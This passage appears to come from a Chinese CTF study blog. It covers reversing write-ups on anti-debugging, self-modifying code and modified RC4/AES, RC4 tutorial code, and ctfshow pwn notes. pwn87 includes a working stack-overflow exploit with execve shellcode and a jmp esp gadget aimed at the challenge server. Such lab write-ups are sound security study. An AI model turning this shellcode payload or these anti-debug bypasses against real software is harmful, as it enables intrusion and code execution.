{
sub_40108C("Wrong flag!\n", v5);
return 0;
}
}
sub_40108C("Correct flag!\n", v5);
return 0;
}

这个rc4的魔改解出来是个错的,就不详细解释了。

进入正文,反思一下我这里没解出来主要是没找到反调试的地方,因为IDA没把他识别成函数,藏在汇编里面。

要自己去翻汇编代码,给他P重定义一下

1

2

只能硬找莫得办法,重定义后Tab

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// write access to const memory has been detected, the output may be wrong!
void *sub_401500()
{
void *result; // eax

result = (void *)(NtCurrentPeb()->NtGlobalFlag & 0x70);
if ( !result )
{
*(&loc_40902A + 1) ^= 0x65u;
*((_BYTE *)&loc_40902A + 2) ^= 0xFAu;
*(&loc_407080 + 2) ^= 5u;
result = &loc_40B077;
loc_40B077 ^= 0x10u;
}
return result;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// write access to const memory has been detected, the output may be wrong!
void *__cdecl sub_4015C0(int a1, char a2)
{
void *result; // eax

sub_401023("%s", a2);
if ( CloseHandle((HANDLE)0x1234) || GetLastError() != 6 )
return 0;
*(&loc_407080 + 1) ^= 0xD0u;
*(&loc_40B104 + 2) ^= 0xCBu;
loc_40B078 ^= 0x61u;
result = &loc_40B079;
loc_40B079 ^= 0x5Fu;
return result;
}

很明显的反调试和smc了

smc没什么好讲的得会动调就全部解决了,这里要解决反调试

第一个反调试我们要把(!result)改成(result)。

第二个反调试我要把CloseHandle((HANDLE)0x1234) || GetLastError() != 6的CloseHandle((HANDLE)0x1234) nop掉,不然动调会报错。

还要把if的条件反过来。

1
.text:0040153F                 jz      short loc_401543  --> jnz      short loc_401543
1
2
.text:004015EE                 push    1234h           ; hObject        -->nop
.text:004015F3 call ds:__imp_CloseHandle -->nop
1
2
3
4
5
6
7
.text:00401607                 jnz     short loc_40161D                jnz-->jz
.text:00401609 mov esi, esp
.text:0040160B call ds:__imp_GetLastError
.text:00401611 cmp esi, esp
.text:00401613 call j___RTC_CheckEsp
.text:00401618 cmp eax, 6
.text:0040161B jz short loc_401635 jz--->jnz

如果不会改可以上网查一下IDA怎么patch。

改完之后我们就可以看到真实的加密逻辑了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
void *__cdecl sub_40B000(int a1, int a2, unsigned int a3)
{
void *result; // eax
char v4; // [esp+D3h] [ebp-129h]
char v5[264]; // [esp+DCh] [ebp-120h] BYREF
int v6; // [esp+1E4h] [ebp-18h]
int i; // [esp+1F0h] [ebp-Ch]

v6 = 0;
result = memset(v5, 0, 0x100u);
for ( i = 0; i < 256; ++i )
{
*(_BYTE *)(i + a1) = i ^ 0xCF;
v5[i] = *(_BYTE *)(a2 + i % a3);
result = (void *)(i + 1);
}
for ( i = 0; i < 256; ++i )
{
v6 = ((unsigned __int8)v5[i] + v6 + *(unsigned __int8 *)(i + a1)) % 256;
v4 = *(_BYTE *)(i + a1);
*(_BYTE *)(i + a1) = *(_BYTE *)(v6 + a1);
*(_BYTE *)(v6 + a1) = v4 ^ 0xAD;
result = (void *)(i + 1);
}
return result;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
unsigned int __cdecl sub_401A60(int a1, int a2, unsigned int a3)
{
unsigned int result; // eax
int v4; // ecx
char v5; // al
char v6; // [esp+D3h] [ebp-35h]
unsigned int i; // [esp+DCh] [ebp-2Ch]
int v8; // [esp+F4h] [ebp-14h]
int v9; // [esp+100h] [ebp-8h]

__CheckForDebuggerJustMyCode(&unk_41200F);
v9 = 0;
v8 = 0;
for ( i = 0; ; ++i )
{
result = i;
if ( i >= a3 )
break;
v9 = (v9 + 1) % 256;
v8 = (v8 + v9 * *(unsigned __int8 *)(v9 + a1)) % 256;
v6 = *(_BYTE *)(v9 + a1);
*(_BYTE *)(v9 + a1) = *(_BYTE *)(v8 + a1);
*(_BYTE *)(v8 + a1) = v6;
v4 = (*(unsigned __int8 *)(v8 + a1) + *(unsigned __int8 *)(v9 + a1)) % 256;
if ( i % 2 )
v5 = *(_BYTE *)(v4 + a1) + *(_BYTE *)(i + a2);
else
v5 = *(_BYTE *)(i + a2) - *(_BYTE *)(v4 + a1);
*(_BYTE *)(i + a2) = v5;
}
return result;
}

解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
# 密文(从main函数的v7数组转换为无符号字节)
ciphertext = [
0x50, 0x59, 0xA2, 0x94, 0x2E, 0x8E, 0x5C, 0x95, 0x79, 0x16,
0xE5, 0x36, 0x60, 0xC7, 0xE8, 0x06, 0x33, 0x78, 0xF0, 0xD0,
0x36, 0xC8, 0x73, 0x1B, 0x65, 0x40, 0xB5, 0xD4, 0xE8, 0x9C,
0x65, 0xF4, 0xBA, 0x62, 0xD0
]

# 密钥
key = b"Y0u_Can't_F1nd_Me!"
key_len = len(key)

# 初始化S盒(sub_40B000的第一个循环)
S = [i ^ 0xCF for i in range(256)]

# 准备v5数组(密钥扩展)
v5 = [key[i % key_len] for i in range(256)]

# sub_40B000的第二个循环:置换S盒
v6 = 0
for i in range(256):
v6 = (v5[i] + v6 + S[i]) % 256
v4 = S[i]
S[i] = S[v6]
S[v6] = v4 ^ 0xAD # 注意这里的异或操作

# 执行PRGA并解密(模拟sub_401A60的逆向过程)
v9 = 0
v8 = 0
plaintext_bytes = []

for i in range(len(ciphertext)):
# 更新v9和v8
v9 = (v9 + 1) % 256
v8 = (v8 + v9 * S[v9]) % 256 # 关键的v8计算

# 交换S[v9]和S[v8]
temp = S[v9]
S[v9] = S[v8]
S[v8] = temp

# 计算密钥流字节k
v4 = (S[v8] + S[v9]) % 256
k = S[v4]

# 根据索引奇偶性解密
if i % 2 == 1: # 奇数索引:密文 = 明文 + k → 明文 = 密文 - k
plain_byte = (ciphertext[i] - k) % 256
else: # 偶数索引:密文 = 明文 - k → 明文 = 密文 + k
plain_byte = (ciphertext[i] + k) % 256

plaintext_bytes.append(plain_byte)

# 转换为字符串并输出
plaintext = bytes(plaintext_bytes).decode('ascii')
print("解密得到的flag:", plaintext)
1
NepCTF{Y0u_FiN1sH_Th1s_E3sy_Smc!!!}

[网鼎杯 2020 青龙组]jocker

链接

[SCTF2019]creakme

简述一下这里主要是反调试+smc+AES的CBC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
int __cdecl main(int argc, const char **argv, const char **envp)
{
HMODULE ModuleHandleW; // eax
int v4; // eax
_DWORD *v5; // eax
unsigned int v6; // edx
_DWORD *v7; // ecx
unsigned int v8; // ebx
char *v9; // edi
unsigned int v10; // esi
unsigned int v11; // esi
bool v12; // cf
unsigned __int8 v13; // al
unsigned __int8 v14; // al
unsigned __int8 v15; // al
int v16; // esi
void *v17; // ecx
void *v18; // ecx
const char *v19; // edx
int v20; // eax
int v22; // [esp+0h] [ebp-80h]
void *Block[5]; // [esp+10h] [ebp-70h] BYREF
unsigned int v24; // [esp+24h] [ebp-5Ch]
void *v25[5]; // [esp+28h] [ebp-58h] BYREF
unsigned int v26; // [esp+3Ch] [ebp-44h]
char Src[48]; // [esp+40h] [ebp-40h] BYREF
int v28; // [esp+7Ch] [ebp-4h]

ModuleHandleW = GetModuleHandleW(0);
sub_402320(ModuleHandleW);
sub_4024A0();
v4 = sub_402870(std::cout, "welcome to 2019 sctf");
std::ostream::operator<<(v4, sub_402AC0);
sub_402870(std::cout, "please input your ticket:");
sub_402AF0(v22);
v25[4] = 0;
v26 = 15;
LOBYTE(v25[0]) = 0;
sub_401D30(v25, Src, strlen(Src));
v28 = 0;
v5 = sub_4020D0(Block, (int)v25); // AES的CBC模式
v6 = strlen(aPvfqyc4ttc2uxr);
v7 = v5;
if ( v5[5] >= 0x10u )
v7 = (_DWORD *)*v5;
v8 = v5[4];
v9 = aPvfqyc4ttc2uxr;
v10 = v8;
if ( v6 < v8 )
v10 = v6;
v12 = v10 < 4;
v11 = v10 - 4;
if ( v12 )
{
LABEL_8:
if ( v11 == -4 )
goto LABEL_17;
}
else
{
while ( *v7 == *(_DWORD *)v9 )
{
++v7;
v9 += 4;
v12 = v11 < 4;
v11 -= 4;
if ( v12 )
goto LABEL_8;
}
}
v12 = *(_BYTE *)v7 < (unsigned __int8)*v9;
if ( *(_BYTE *)v7 != *v9
|| v11 != -3
&& ((v13 = *((_BYTE *)v7 + 1), v12 = v13 < (unsigned __int8)v9[1], v13 != v9[1])
|| v11 != -2
&& ((v14 = *((_BYTE *)v7 + 2), v12 = v14 < (unsigned __int8)v9[2], v14 != v9[2])
|| v11 != -1 && (v15 = *((_BYTE *)v7 + 3), v12 = v15 < (unsigned __int8)v9[3], v15 != v9[3]))) )
{
v16 = v12 ? -1 : 1;
goto LABEL_18;
}
LABEL_17:
v16 = 0;
LABEL_18:
if ( !v16 )
{
if ( v6 <= v8 )
v16 = v6 < v8;
else
v16 = -1;
}
if ( v24 >= 0x10 )
{
v17 = Block[0];
if ( v24 + 1 >= 0x1000 )
{
v17 = (void *)*((_DWORD *)Block[0] - 1);
if ( (unsigned int)(Block[0] - v17 - 4) > 0x1F )
invalid_parameter_noinfo_noreturn();
}
sub_402F05(v17);
}
v28 = -1;
Block[4] = 0;
v24 = 15;
LOBYTE(Block[0]) = 0;
if ( v26 >= 0x10 )
{
v18 = v25[0];
if ( v26 + 1 >= 0x1000 )
{
v18 = (void *)*((_DWORD *)v25[0] - 1);
if ( (unsigned int)(v25[0] - v18 - 4) > 0x1F )
invalid_parameter_noinfo_noreturn();
}
sub_402F05(v18);
}
v19 = "Have fun!";
if ( v16 )
v19 = "A forged ticket!!";
v20 = sub_402870(std::cout, v19);
std::ostream::operator<<(v20, sub_402AC0);
system("pause");
return 0;
}

AES的CBC怎么看出来的,emmm,我暂时没深入了解这个加密,所以问ai的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
void __thiscall sub_402320(_DWORD *this)
{
int v1; // eax
__int16 v2; // bx
const char *v3; // esi
int i; // edi
int v5; // eax

v1 = this[15];
v2 = *(_WORD *)((char *)this + v1 + 6);
v3 = (char *)this + v1 + 248;
for ( i = 0; i < v2; ++i )
{
v5 = strcmp(v3, ".SCTF");
if ( v5 )
v5 = v5 < 0 ? -1 : 1;
if ( !v5 )
{
DebugBreak();
return;
}
v3 += 40;
}
}
1
2
3
4
5
6
7
8
9
int sub_4024A0()
{
unsigned int NtGlobalFlag; // [esp+10h] [ebp-20h]

NtGlobalFlag = NtCurrentPeb()->NtGlobalFlag;
if ( NtCurrentPeb()->BeingDebugged || NtGlobalFlag == 112 )
exit(-5);
return ((int (*)(void))dword_404000[0])();
}

这两个是反调试,这个比NepCTF好多了。至少反调试容易找到wuuuuu~~~~

和nep一样直接patch掉反调试,当然你也可以动调的时候改变ZF来改变线程的走向。

绕过反调试,但是到了call就会报错404000。

这里参考大佬的用IDA的python脚本来手动还原

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
int __fastcall sub_402450(int a1, int a2, int a3, int a4)
{
int result; // eax
int v7; // edx
char v8; // cl

result = 0;
if ( a2 > 0 )
{
while ( 1 )
{
v7 = 0;
if ( a4 > 0 )
break;
LABEL_5:
if ( result >= a2 )
return result;
}
while ( result < a2 )
{
v8 = aSycloversyclov[v7++];
*(_BYTE *)(result + a1) = ~(*(_BYTE *)(result + a1) ^ v8);
++result;
if ( v7 >= a4 )
goto LABEL_5;
}
}
return result;
}

找到smc的地方,用脚本来还原

1
2
3
4
5
6
7
8
add1=0x404000
add2=0x405000
key="sycloversyclover"
bb=0
for i in range(add1,add2,1):
wr=(~(idc.get_wide_byte(i) ^ ord(key[bb%len(key)]))&0xff) #这里&0xff是避免取反时高位补一
ida_bytes.patch_byte(i,wr)
bb+=1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
unsigned int sub_404000()
{
unsigned int i; // edx
unsigned int v1; // esi
unsigned int result; // eax
unsigned int v3; // eax
char v4; // dl

for ( i = 0; i < strlen(aPvfqyc4ttc2uxr); ++i )
--aPvfqyc4ttc2uxr[i];
v1 = 0;
result = strlen(aPvfqyc4ttc2uxr);
if ( (result & 0xFFFFFFFE) != 0 )
{
do
{
v3 = result - v1;
v4 = *(_BYTE *)(v3 + 4231191);
*(_BYTE *)(v3 + 4231191) = aPvfqyc4ttc2uxr[v1];
aPvfqyc4ttc2uxr[v1++] = v4;
result = strlen(aPvfqyc4ttc2uxr);
}
while ( v1 < result >> 1 );
}
return result;
}

解密得到nKnbHsgqD3aNEB91jB3gEzAr+IklQwT1bSs3+bXpeuo=

最后秘钥为sycloversyclover,偏移量为sctfsctfsctfsctf

1
sctf{Ae3_C8c_I28_pKcs79ad4}

烽火杯的smc

这个算是最简单的反调试改jz就可以,直接linux动调就可以还原了,就不都说了xixi。

感觉打了这么就得逆向,没AI感觉就不中了,啥也干不了,于是从现在开始学习原理知识。

开始rc4的学习以后碰到rc4就放到这个里面来。开始全栈之逆向之路。

标准rec4加密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

#define MAX_INPUT_LEN 1024

typedef struct {
unsigned char S[256];
unsigned char i; // 改为 unsigned char 避免转换问题
unsigned char j; // 改为 unsigned char 避免转换问题
} RC4_CTX;

/* 初始化函数 */
void rc4_init(RC4_CTX* ctx, const unsigned char* key, size_t key_len) {
int i; // 使用 int 避免 size_t 转换警告
unsigned char j = 0;
unsigned char temp;

for (i = 0; i < 256; i++) {
ctx->S[i] = (unsigned char)i;
}

ctx->i = 0;
ctx->j = 0;

for (i = 0; i < 256; i++) {
j = (unsigned char)(j + ctx->S[i] + key[i % key_len]); // 显式转换
temp = ctx->S[i];
ctx->S[i] = ctx->S[j];
ctx->S[j] = temp;
}
}

/* 生成密钥流字节 */
unsigned char rc4_generate_byte(RC4_CTX* ctx) {
unsigned char temp;
ctx->i = (unsigned char)(ctx->i + 1);
ctx->j = (unsigned char)(ctx->j + ctx->S[ctx->i]);
temp = ctx->S[ctx->i];
ctx->S[ctx->i] = ctx->S[ctx->j];
ctx->S[ctx->j] = temp;
return ctx->S[(ctx->S[ctx->i] + ctx->S[ctx->j]) & 0xFF]; // 使用位操作避免转换
}

/* 加密函数 */
void rc4_crypt(RC4_CTX* ctx, const unsigned char* input,
unsigned char* output, size_t len) {
size_t n;
for (n = 0; n < len; n++) {
output[n] = input[n] ^ rc4_generate_byte(ctx);
}
}

/* 二进制转十六进制 */
char* bin2hex(const unsigned char* bin, size_t len) {
if (len == 0) return NULL;

char* hex = (char*)malloc(len * 2 + 1);
if (!hex) return NULL;

for (size_t i = 0; i < len; i++) {
sprintf_s(hex + i * 2, 3, "%02X", bin[i]); // 使用安全的 sprintf_s
}
hex[len * 2] = '\0';
return hex;
}

/* 安全获取输入 */
void get_input(const char* prompt, char* buffer, size_t max_len) {
printf("%s", prompt);
if (fgets(buffer, (int)max_len, stdin) == NULL) { // 显式转换
buffer[0] = '\0';
return;
}

// 移除换行符
size_t len = strlen(buffer);
if (len > 0 && buffer[len - 1] == '\n') {
buffer[len - 1] = '\0';
}
}

int main() {
char key[MAX_INPUT_LEN];
char plaintext[MAX_INPUT_LEN];

printf("=== RC4 加密工具 ===\n");

// 获取用户输入
get_input("请输入密钥: ", key, sizeof(key));
get_input("请输入明文: ", plaintext, sizeof(plaintext));

size_t len = strlen(plaintext);
if (len == 0) {
printf("错误: 明文不能为空\n");
return 1;
}

// 分配内存
unsigned char* ciphertext = (unsigned char*)malloc(len);
if (!ciphertext) {
fprintf(stderr, "错误: 内存分配失败\n");
return 1;
}

// 加密过程
RC4_CTX ctx;
rc4_init(&ctx, (const unsigned char*)key, strlen(key));
rc4_crypt(&ctx, (const unsigned char*)plaintext, ciphertext, len);

// 转换为十六进制
char* hex_cipher = bin2hex(ciphertext, len);
if (!hex_cipher) {
fprintf(stderr, "错误: 十六进制转换失败\n");
free(ciphertext);
return 1;
}

// 输出结果
printf("\n加密结果:\n");
printf("密钥: %s\n", key);
printf("明文: %s\n", plaintext);
printf("密文(HEX): %s\n", hex_cipher);

// 清理内存
free(ciphertext);
free(hex_cipher);

printf("\n按 Enter 键退出...");
getchar(); // 忽略返回值
return 0;
}

标准rec4解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <ctype.h>

#define MAX_INPUT_LEN 2048

typedef struct {
unsigned char S[256];
unsigned char i; // 改为 unsigned char 避免转换问题
unsigned char j; // 改为 unsigned char 避免转换问题
} RC4_CTX;

/* 初始化函数 */
void rc4_init(RC4_CTX* ctx, const unsigned char* key, size_t key_len) {
int i; // 使用 int 避免 size_t 转换警告
unsigned char j = 0;
unsigned char temp;

for (i = 0; i < 256; i++) {
ctx->S[i] = (unsigned char)i;
}

ctx->i = 0;
ctx->j = 0;

for (i = 0; i < 256; i++) {
j = (unsigned char)(j + ctx->S[i] + key[i % key_len]); // 显式转换
temp = ctx->S[i];
ctx->S[i] = ctx->S[j];
ctx->S[j] = temp;
}
}

/* 生成密钥流字节 */
unsigned char rc4_generate_byte(RC4_CTX* ctx) {
unsigned char temp;
ctx->i = (unsigned char)(ctx->i + 1);
ctx->j = (unsigned char)(ctx->j + ctx->S[ctx->i]);
temp = ctx->S[ctx->i];
ctx->S[ctx->i] = ctx->S[ctx->j];
ctx->S[ctx->j] = temp;
return ctx->S[(ctx->S[ctx->i] + ctx->S[ctx->j]) & 0xFF]; // 使用位操作避免转换
}

/* 解密函数 */
void rc4_crypt(RC4_CTX* ctx, const unsigned char* input,
unsigned char* output, size_t len) {
size_t n;
for (n = 0; n < len; n++) {
output[n] = input[n] ^ rc4_generate_byte(ctx);
}
}

/* 十六进制转二进制 */
unsigned char* hex2bin(const char* hex, size_t* len) {
size_t hex_len = strlen(hex);

// 检查十六进制长度
if (hex_len % 2 != 0) {
fprintf(stderr, "错误: 无效的十六进制长度\n");
return NULL;
}

*len = hex_len / 2;
if (*len == 0) {
return NULL;
}

unsigned char* bin = (unsigned char*)malloc(*len);
if (!bin) return NULL;

for (size_t i = 0; i < *len; i++) {
char hex_byte[3] = { 0 };
hex_byte[0] = hex[i * 2];
hex_byte[1] = hex[i * 2 + 1];

char* endptr;
unsigned long value = strtoul(hex_byte, &endptr, 16);

if (*endptr != '\0' || value > 255) {
fprintf(stderr, "错误: 无效的十六进制字节 '%s'\n", hex_byte);
free(bin);
return NULL;
}

bin[i] = (unsigned char)value;
}

return bin;
}

/* 安全获取输入 */
void get_input(const char* prompt, char* buffer, size_t max_len) {
printf("%s", prompt);
if (fgets(buffer, (int)max_len, stdin) == NULL) { // 显式转换
buffer[0] = '\0';
return;
}

// 移除换行符
size_t len = strlen(buffer);
if (len > 0 && buffer[len - 1] == '\n') {
buffer[len - 1] = '\0';
}
}

int main() {
char key[MAX_INPUT_LEN];
char hex_cipher[MAX_INPUT_LEN];

printf("=== RC4 解密工具 ===\n");

// 获取用户输入
get_input("请输入密钥: ", key, sizeof(key));
get_input("请输入密文(HEX): ", hex_cipher, sizeof(hex_cipher));

// 验证十六进制输入
for (size_t i = 0; hex_cipher[i]; i++) {
if (!isxdigit((unsigned char)hex_cipher[i])) { // 显式类型转换
fprintf(stderr, "错误: 无效的十六进制字符 '%c'\n", hex_cipher[i]);
return 1;
}
}

// 转换为二进制
size_t cipher_len;
unsigned char* ciphertext = hex2bin(hex_cipher, &cipher_len);
if (!ciphertext || cipher_len == 0) {
fprintf(stderr, "错误: 十六进制转换失败\n");
return 1;
}

// 分配解密缓冲区
unsigned char* decrypted = (unsigned char*)calloc(cipher_len + 1, 1);
if (!decrypted) {
fprintf(stderr, "错误: 内存分配失败\n");
free(ciphertext);
return 1;
}

// 解密过程
RC4_CTX ctx;
rc4_init(&ctx, (const unsigned char*)key, strlen(key));
rc4_crypt(&ctx, ciphertext, decrypted, cipher_len);

// 确保字符串终止
decrypted[cipher_len] = '\0';

// 输出结果
printf("\n解密结果:\n");
printf("密钥: %s\n", key);
printf("密文(HEX): %s\n", hex_cipher);
printf("解密文本: %s\n", decrypted);

// 清理内存
free(ciphertext);
free(decrypted);

printf("\n按 Enter 键退出...");
getchar(); // 忽略返回值
return 0;
}

这里来详细了解一下标准rc4

算法概述:RC4(Rivest Cipher 4)是由Ron Rivest在1987年设计的流密码算法,被广泛应用于SSL/TLS、WEP等协议中。它是一种对称

加密算法,使用相同的密钥进行加密和解密。

核心组件

  1. S盒(State Box)
  • 256字节的数组(0-255)
  • 初始化为顺序值:S[0]=0, S[1]=1, ..., S[255]=255
  1. 密钥调度算法(KSA)
  • 使用密钥初始化S盒
  • 伪代码:
1
2
3
4
j = 0
for i from 0 to 255:
j = (j + S[i] + key[i % key_length]) % 256
swap(S[i], S[j])
  1. 伪随机生成算法(PRGA)
  • 生成密钥流字节
  • 伪代码:
1
2
3
4
5
i = (i + 1) % 256
j = (j + S[i]) % 256
swap(S[i], S[j])
K = S[(S[i] + S[j]) % 256]
return K
  1. 加密/解密过程

    • 明文/密文与密钥流字节异或
    • ciphertext_byte = plaintext_byte XOR K
    • plaintext_byte = ciphertext_byte XOR K

详细加密流程

  1. 步骤1: 密钥调度(KSA)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
void rc4_init(RC4_CTX *ctx, const unsigned char *key, size_t key_len) {
unsigned char j = 0;
// 初始化S盒
for (int i = 0; i < 256; i++) {
ctx->S[i] = (unsigned char)i;
}

// 重置索引
ctx->i = 0;
ctx->j = 0;

// 使用密钥打乱S盒
for (int i = 0; i < 256; i++) {
j = (j + ctx->S[i] + key[i % key_len]) % 256;
// 交换S[i]和S[j]
unsigned char temp = ctx->S[i];
ctx->S[i] = ctx->S[j];
ctx->S[j] = temp;
}
}

KSA简而言之就是先初始化S盒在用key打乱S盒。

  1. 步骤2: 生成密钥流字节(PRGA)
1
2
3
4
5
6
7
8
9
10
11
12
13
unsigned char rc4_generate_byte(RC4_CTX *ctx) {
// 更新索引
ctx->i = (ctx->i + 1) % 256;
ctx->j = (ctx->j + ctx->S[ctx->i]) % 256;

// 交换S[i]和S[j]
unsigned char temp = ctx->S[ctx->i];
ctx->S[ctx->i] = ctx->S[ctx->j];
ctx->S[ctx->j] = temp;

// 计算密钥流字节
return ctx->S[(ctx->S[ctx->i] + ctx->S[ctx->j]) % 256];
}

PRGA简而言之生成密钥流

  1. 步骤3: 加密数据
1
2
3
4
5
6
7
void rc4_crypt(RC4_CTX *ctx, const unsigned char *input, 
unsigned char *output, size_t len) {
for (size_t n = 0; n < len; n++) {
// 生成密钥流字节并与输入字节异或
output[n] = input[n] ^ rc4_generate_byte(ctx);
}
}

总结:我可以发现只要得到秘钥流就可以通过密文和秘钥流异或得到明文,当然这个用的时候得保证这个异或没有被魔改。

pwn87

1
2
3
4
5
6
7
8
9
10
int ctfshow()
{
char s[28]; // [esp+8h] [ebp-20h] BYREF

puts("What's your name?");
fflush(stdout);
fgets(s, 50, stdin);
printf("Hello %s.", s);
return fflush(stdout);
}

fgets(s, 50, stdin);存在栈溢出漏洞。

50 - 0x20 - 0x04 = 14

可利用的空间不足,要利用栈迁移。

1
ROPgadget --binary=pwn --only='jmp|ret'
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
~$ ROPgadget --binary=pwn --only='jmp|ret'
Gadgets information
============================================================
0x08048bcf : jmp 0x2825346b
0x080483bb : jmp 0x80483a0
0x08048534 : jmp 0x80484c0
0x08048612 : jmp 0x8048613
0x08048624 : jmp 0x8048625
0x08048636 : jmp 0x8048637
0x0804866c : jmp 0x804866d
0x080485f3 : jmp 0x8c0485f5
0x080485ca : jmp 0xf05585ce
0x080485dc : jmp 0xf05585e0
0x08048d17 : jmp esp
0x0804837a : ret
0x080484ce : ret 0xeac1

Unique gadgets found: 13

找到0x08048d17 : jmp esp

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *

# 连接远程服务器
p = remote('pwn.challenge.ctf.show', 28287)

# 设置上下文为 32 位(i386)
context(arch='i386', os='linux', log_level='debug')

# 加载 ELF 文件
elf = ELF('./pwn')

# 定义 x86 shellcode(注意前面加 b 表示 bytes)
shellcode_x86 = (
b"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
b"\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
b"\x0b\xcd\x80"
)

# 生成 sub esp, 0x28; jmp esp 的机器码
sub_esp_jmp = asm('sub esp, 0x28; jmp esp')

# 固定地址(需根据实际程序确认)
jmp_esp = 0x08048d17

# 构造 payload
payload = shellcode_x86
payload += b'b' * (0x20 - len(shellcode_x86)) # 填充到 0x20
payload += b'bbbb' # ebp
payload += p32(jmp_esp) # 覆盖返回地址
payload += sub_esp_jmp # 跳转指令

# 发送 payload
p.sendline(payload)

# 交互模式
p.interactive()

解释一下疑惑点,当执行到p32(jmp_esp);由于函数返回时执行leave ret;leave:pop ebp 是esp会指向ebp + 4 也就是 sub_esp_jmp;然

后esp 转到 esp - 0x28的位置,也就是s的起始位置;jmp esp使得esp指向s的起始位置,ret使得esp指向eip,执行shellcode。

pwn88

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+8h] [rbp-18h] BYREF
int v5; // [rsp+Ch] [rbp-14h]
__int64 v6[2]; // [rsp+10h] [rbp-10h] BYREF

v6[1] = __readfsqword(0x28u);
setbuf(_bss_start, 0LL);
printf("Where What?");
v5 = __isoc99_scanf("%llx %d", v6, &v4);
if ( v5 != 2 )
return 0;
*(_BYTE *)v6[0] = v4;
if ( v4 == 0xFF )
puts("No flag for you");
return 0;
}

可以看到可以用v4来修改v6这个内存地址。

这个只有一次读入肯定是不够的,所以要构造一个循环

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
text:00000000004006F2                 push    rbp
.text:00000000004006F3 mov rbp, rsp
.text:00000000004006F6 sub rsp, 20h
.text:00000000004006FA mov rax, fs:28h
.text:0000000000400703 mov [rbp+var_8], rax
.text:0000000000400707 xor eax, eax
.text:0000000000400709 mov rax, cs:__bss_start
.text:0000000000400710 mov esi, 0 ; buf
.text:0000000000400715 mov rdi, rax ; stream
.text:0000000000400718 call _setbuf
.text:000000000040071D mov edi, offset format ; "Where What?"
.text:0000000000400722 mov eax, 0
.text:0000000000400727 call _printf
.text:000000000040072C lea rdx, [rbp+var_18]
.text:0000000000400730 lea rax, [rbp+var_10]
.text:0000000000400734 mov rsi, rax
.text:0000000000400737 mov edi, offset aLlxD ; "%llx %d"
.text:000000000040073C mov eax, 0
.text:0000000000400741 call ___isoc99_scanf
.text:0000000000400746 mov [rbp+var_14], eax
.text:0000000000400749 cmp [rbp+var_14], 2
.text:000000000040074D jz short loc_400756
.text:000000000040074F mov eax, 0
.text:0000000000400754 jmp short loc_400778
.text:0000000000400756 ; ---------------------------------------------------------------------------
.text:0000000000400756
.text:0000000000400756 loc_400756: ; CODE XREF: main+5B↑j
.text:0000000000400756 mov rax, [rbp+var_10]
.text:000000000040075A mov edx, [rbp+var_18]
.text:000000000040075D mov [rax], dl
.text:000000000040075F mov eax, [rbp+var_18]
.text:0000000000400762 cmp eax, 0FFh
.text:0000000000400767 jnz short loc_400773
.text:0000000000400769 mov edi, offset s ; "No flag for you"
.text:000000000040076E call _puts
.text:0000000000400773
.text:0000000000400773 loc_400773: ; CODE XREF: main+75↑j
.text:0000000000400773 mov eax, 0
.text:0000000000400778
.text:0000000000400778 loc_400778: ; CODE XREF: main+62↑j
.text:0000000000400778 mov rcx, [rbp+var_8]
.text:000000000040077C xor rcx, fs:28h
.text:0000000000400785 jz short locret_40078C
.text:0000000000400787 call ___stack_chk_fail
